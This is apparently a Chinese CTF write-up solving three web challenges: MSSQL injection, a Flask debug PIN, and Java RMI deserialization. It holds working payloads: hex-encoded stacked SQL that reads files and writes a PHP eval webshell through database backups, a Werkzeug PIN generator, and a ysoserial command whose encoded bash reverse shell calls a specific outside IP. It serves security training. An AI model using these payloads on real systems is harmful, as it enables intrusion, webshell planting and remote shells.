ezsql 过滤了空格,可以使用空白字符绕过
/**/
%0a %01 %02 %0E %0f
+
这里%0a
,+和/**/
都不可以,而且只有隐式转化才会出现报错,还过滤了$ % & * ' " < >
'
和"
被过滤,但是;
可以用,用十六进制编码绕过
1 id=1;declare%02@s%02varchar(2000)%02set%02@s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29%02exec(@s)
插入文件数据 1 2 3 4 5 6 7 8 9 10 11 12 //创建表格 CREATE TABLE tmp (dir varchar(8000),num int,num1 int); //列目录 insert into tmp(dir,num,num1) execute master..xp_dirtree '/',1,1 insert into tmp(dir,num,num1) exec xp_dirtree '/',1,1 //从指定路径读文件 insert tmp (dir) select * from OPENROWSET(BULK '/flag',SINGLE_CLOB) as c //只能读到dbo.users,复制表 insert dbo.users (id,name) select num1,dir from tmp
文件都读到了
差异备份 查一下数据库名
1 2 id=1AND(db_NAME())=1 DB_Name
log备份向同级目录写shell
1 2 3 4 5 6 7 8 9 backup database ctf to disk = '/var/www/html/ctf.php' //因为是路径只能使用declare声明绕过 1;declare%02@s%02varchar(2000)%02set%02@s=0x6261636b75702064617461626173652063746620746f206469736b203d20272f7661722f7777772f68746d6c2f6374662e70687027%02exec(@s) id=1;CREATE%02table%02[dbo].[test]%02([cmd]%02[image]); 1;INSERT%02into%02test(cmd)%02values(0x3c3f70687020406576616c28245f504f53545b315d293b3f3e) 1;declare%02@s%02varchar(2000)%02set%02@s=0x6261636b75702064617461626173652063746620746f206469736b3d272f7661722f7777772f68746d6c2f6374662e70687027205749544820444946464552454e5449414c2c464f524d4154%02exec(@s)
这样一般来说应该成功了,访问ctf.php
LOG备份 1 2 3 4 5 1;ALTER%02TABLE%02users%02ADD%02a%02varchar(2000)%02NULL; 1;inSert%02into%02users(id,a,name)%02values%02(12,0x3c3f706870206576616c28245f504f53545b315d293b3f3e,36); //不需要加 1;declare%02@a%02varchar(2000)%02set%02@a=0x6261636b7570206c6f672063746620746f206469736b3d272f7661722f7777772f68746d6c2f6374662e70687027207769746820696e6974%02exec(@a)
访问ctf.php
即可
fake_login
报错出源码
1 2 3 4 5 6 7 8 9 10 11 def login (): parser = etree.XMLParser(recover=True ) xml_string = request.data tree = etree.fromstring(xml_string, parser) username = tree.find('username' ).text password = tree.find('password' ).text if username == 'admin' and password == 'admin' : message = 'Oh! You guessed my username and password, but where is the flag?' response = make_response('' , 200 ) response.headers['Content-Type' ] = 'application/json' response.data = jsonify({'message' : message}).data
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from flask import Flask, request, render_template, make_response, jsonifyfrom lxml import etreeapp = Flask(__name__) @app.route('/' , methods=['GET' , 'POST' ] ) def index (): return render_template('login.html' ) @app.route('/login' , methods=['POST' ] ) def login (): parser = etree.XMLParser(recover=True ) xml_string = request.data tree = etree.fromstring(xml_string, parser) username = tree.find('username' ).text password = tree.find('password' ).text if username == 'admin' and password == 'admin' : message = 'Oh! You guessed my username and password, but where is the flag?' response = make_response('' , 200 ) response.headers['Content-Type' ] = 'application/json' response.data = jsonify({'message' : message}).data return response else : message = username + ' is not exist or password is wrong!' response = make_response('' , 401 ) response.headers['Content-Type' ] = 'application/json' response.data = jsonify({'message' : message}).data return response if __name__ == '__main__' : app.run(host = \"0.0.0.0\", port = 8000 ,debug = True)
读取文件运行脚本得到pin码进入debug即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import hashlibfrom itertools import chainprobably_public_bits = [ 'minictfer' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.9/site-packages/flask/app.py' ] private_bits = [ '2485378285570' , 'b083bbda-b548-41e0-bb7c-eec15f2ecfc59c8d9d7064508224b6defddf75e01fcbbc700f1acded2032291ecb0a115b83de' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join([num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)]) break else : rv = num print (rv)
minijava MainController.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package ctf.minil.java.minil.controller;import ctf.minil.java.minil.bean.User;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;import org.nibblesec.tools.SerialKiller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class MainController { public MainController () { } @ResponseBody @RequestMapping({"/"}) public String index () { return "Welcome to miniL-CTF 2023!" ; } @ResponseBody @RequestMapping({"/hello"}) public String hello (@RequestParam(name = "data",required = false) String data) { User user = null ; try { byte [] userData = Base64.getDecoder().decode(data); ObjectInputStream objectInputStream = new SerialKiller (new ByteArrayInputStream (userData), "serialkiller.conf" ); user = (User)objectInputStream.readObject(); } catch (Exception var5) { return "unserialize error, no!" ; } return "unserialize done, " + user.getUsername() + " have fun!" ; } }
User.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package ctf.minil.java.minil.bean;import java.io.ObjectInputStream;import java.io.Serializable;import java.rmi.registry.Registry;public class User implements Serializable { private String username; private int age; private Registry registry; public User () { } public User (String username, int age) { this .username = username; this .age = age; this .registry = null ; } public String getUsername () { return this .username; } public int getAge () { return this .age; } private Registry getRegistry () { return this .registry; } private void readObject (ObjectInputStream in) throws Exception { int magic = in.readInt(); if (magic == 114514 ) { byte byte1 = in.readByte(); switch (byte1) { case 1 : in.defaultReadObject(); break ; case 2 : in.defaultReadObject(); String username1 = this .getUsername(); int age1 = this .getAge(); Registry registry1 = this .getRegistry(); if (!username1.equals("L_team" )) { throw new Exception ("Invalid username" ); } if (age1 != 18 ) { throw new Exception ("Invalid age" ); } Hello hello = (Hello)registry1.lookup("hello" ); hello.world(this ); break ; default : throw new Exception ("Invalid magic number" ); } } } }
导入了commons-collections3.2.1
设置了反序列化类过滤
注意到在User.java调用了lookup
函数,registry1
可控,可以用RMI反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private void readObject (ObjectInputStream in) throws Exception { int magic = in.readInt(); if (magic == 114514 ) { byte byte1 = in.readByte(); switch (byte1) { case 1 : in.defaultReadObject(); break ; case 2 : in.defaultReadObject(); String username1 = this .getUsername(); int age1 = this .getAge(); Registry registry1 = this .getRegistry(); if (!username1.equals("L_team" )) { throw new Exception ("Invalid username" ); } if (age1 != 18 ) { throw new Exception ("Invalid age" ); } Hello hello = (Hello)registry1.lookup("hello" ); hello.world(this ); break ; default : throw new Exception ("Invalid magic number" ); } } }
重写一下User.java中的writeObject
来满足readObject
中lookup
调用条件
1 2 3 4 5 private void writeObject (ObjectOutputStream out) throws Exception { out.writeInt(114514 ); out.writeByte(2 ); out.defaultWriteObject(); }
设置registry
为部署在vps上的RMI服务器
1 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuMTI1LjYxLzY2NiAwPiYx}|{base64,-d}|{bash,-i}"
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package ctf.minil.java.minil.bean;import ctf.minil.java.minil.bean.User;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class POC { public static void main (String[] args) throws Exception { User user = new User ("L_team" , 18 ); Registry registry = LocateRegistry.getRegistry("ip" , 1099 ); setFieldValue("registry" , registry, user); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(user); byte [] payload= barr.toByteArray(); String encode = java.util.Base64.getEncoder().encodeToString(payload); System.out.println(encode.toString()); } public static void setFieldValue (String name, Object value, Object obj) throws Exception{ Field f = obj.getClass().getDeclaredField(name); f.setAccessible(true ); f.set(obj, value); } }
URL编码直接打过去就可以
1 data=rO0ABXNyAB5jdGYubWluaWwuamF2YS5taW5pbC5iZWFuLlVzZXLrrdPxsDBSpQMAA0kAA2FnZUwACHJlZ2lzdHJ5dAAcTGphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5O0wACHVzZXJuYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHB3BQABv1ICAAAAEnNyACJzdW4ucm1pLnJlZ2lzdHJ5LlJlZ2lzdHJ5SW1wbF9TdHViZK173ylMWroCAAB4cgAaamF2YS5ybWkuc2VydmVyLlJlbW90ZVN0dWLp%2FtzJi%2BFlGgIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHc2AApVbmljYXN0UmVmAA0zOS4xMDUuMTI1LjYxAAAESwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeHQABkxfdGVhbXg%3D